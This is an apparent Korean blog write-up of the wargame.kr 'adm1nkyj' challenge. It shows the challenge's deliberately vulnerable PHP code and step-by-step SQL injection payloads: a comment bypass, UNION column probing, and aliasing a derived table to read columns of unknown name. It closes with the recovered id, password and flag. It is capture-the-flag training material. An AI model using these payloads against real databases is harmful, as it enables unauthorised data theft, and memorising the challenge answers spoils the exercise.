Oh! JUN

[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!) 본문

문제풀이/DreamHack

[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!)

Kwon Oh! JUN 2023. 2. 10. 01:54

<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name, $FLAG.

    
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    
mysql_select_db("adm1nkyj");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user/i"$id) || substr_count($id,"(") > 1) exit("no hack");
        if(
preg_match("/information|schema|user/i"$pw) || substr_count($pw,"(") > 1) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        
highlight_file(__FILE__);
    }
?>


FLAG를 획득하기 위해 필요한 값 

id, pw, flag


예외조건

information.schema x

user x

() 2개 이상 x


함수조건

reset_flag : 쿼리 실행할때마다 count_column이 1씩 증가해서 150되면 flag값이 초기화 됨.(blind SQL 인젝션 x)


 $query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));

echo "Hello ".$query[$id_column]."<hr>";

 

쿼리 실행되면 쿼리에서 id_column 를 참조합니다.


1. id 

"SELECT * FROM findflag_2 WHERE $id_column='' or 1=1%23' and $pw_column='{$pw}';"

(?id=' or 1=1%23)

 

"SELECT * FROM findflag_2 WHERE $id_column='' or 1=1%23' and $pw_column='{$pw}';"

뒤에 주석 이후 쿼리는 버리고 앞에 보면

findflag_2 테이블의 모든 값을 조회합니다.

 

그리고 id_column 컬럼을 참조하니까 id 값을 구할 수 있습니다.

adm1ngnngn

 


2. pw

SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}'

id의 경우 코드에서 id_column를 참조하니까 id값을 구할 수 있었지만

pw는 컬럼을 구해야 pw 값을 구할 수 있습니다.

 

UNION SQL 인젝션 공격을 사용해서 문제를 해결해 볼 것이다.

먼저, 위에서 'hello adm1ngnngn' 처럼 쿼리에 반응하는 컬럼의 위치가 어딘지 파악 할 것이다.

?id=' and 1=2 union select 1,2,3,4,5

1,2,3,4,5 까지 넣어봤는데 2만 출력되는것을 보면 쿼리에 반응하는 위치는 2번째 자리이다.

이것을 활용해서 pw의 컬럼을 구해볼것이다.

 

SELECT * FROM findflag_2 WHERE $id_column='' and 1=2 union select 1,' and $pw_column=',2,3,4,5%23'

' and $pw_column='가 ' ' 사이에 있어서 문자열 처리된다.

?id=' union select 1,&pw=,3,4,5%23

(xPw4coaa1sslfe=)

' and $pw_column='에 and가 포함되어 있어서 출력될때 and와 pw컬럼이 같이 출력된다.

 

pw컬럼 구했으니 이제 pw값을 구하겠습니다.

?id=' and 1=2 union select 1,(select xPw4coaa1sslfe from findflag_2),3,4,5%23

(!@SA#$!)

사용한 UNION 형태에서 (select pw컬럼 from findflag_2) 해주면 된다.


3. 대망의 flag

 

$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));

 

id처럼 id_column을 참조하지도 않고

pw처럼 pw컬럼을 문자열 시켜서 조회할수도 없다.

 

문제를 해결하기 전에 테스트를 해보겠습니다.


members 테이블의 값은 위와 같습니다.


먼저 결과부터 보여주면 값은 위와 같습니다.

하나씩 이해해봅시다.


union select * from members limit 1,1

members 테이블에서 다 조회하고 첫 번째 튜플만 가져옵니다.

 

select 1,2,3 as a,4

컬럼 : 1/2/a/4

3 마지막 컬럼이 없어지고 a, 4 새로운 컬럼이 생깁니다.

 

members 테이블에서 password 컬럼은 a 컬럼이 되었습니다.

여기서 중요한건 우리는 password 컬럼 이름을 알지 못하는 상태인겁니다.

하지만 password컬럼 이름을 a로 지정해줘서 우리는 이제 a의 값을 조회할수 있다는것입니다.


select 1,a,3,4 지정해준 이유는

위에서 pw 구할 때 UNION 공격을 사용을 했는데

쿼리에 반응하는 위치가 두번째 위치이기에

a의 값을 두번째에 놓은겁니다.


하나만 더 해보겠습니다.

select 3,4 as a,1,2

컬럼 3/a/1/2

이번에도 마지막 4 컬럼이 사라지고 a/1/2가 들어갔습니다.

 

이번에는  members 테이블의 id 컬럼에 a가 대신하게 되었습니다.


다시 원래 문제로 돌아가서

 

N4wxpthJf7GmHXQ9oBZTvCdu5e3DnIUVl2biLsKgEYMrO8j0RFWaPSkcAy16zq

?id=' and 0 union select 1,a,3,4,5 from (select 1,3,4,5 as a,2 union select * from findflag_2 limit 1,1)x%23

컬럼 : 1/3/4/a/2

findflag_2 테이블의 4번째 컬럼을 a로 우리가 지정을 해줬습니다.

(findflag_2에서 원래 a의 컬럼 이름은 우리는 모르니까 임의로 a로 정하고 a컬럼 조회해서 값을 찾는겁니다.)

 

운 좋게 4번째 컬럼이 우리가 찾고자 하는 컬럼입니다.


(추가)

?id=' and 0 union select 1,a,3,4,5 from (select 3,4,5 as a,1,2 union select * from findflag_2 limit 1,1)x%23

컬럼 : 3/4/a/1/2

세 번째 컬럼에는 pw가 들어가 있습니다.

이런식으로 해서 1~5번째 컬럼 다 구할 수 도 있겠습니다.


4. 결과확인

?id=adm1ngnngn&pw=!%40SA%23%24!&flag=N4wxpthJf7GmHXQ9oBZTvCdu5e3DnIUVl2biLsKgEYMrO8j0RFWaPSkcAy16zq

 

참고로 pw 값 

!@SA#$!

요거 URL Encoding 해줘야 합니다~~~!!!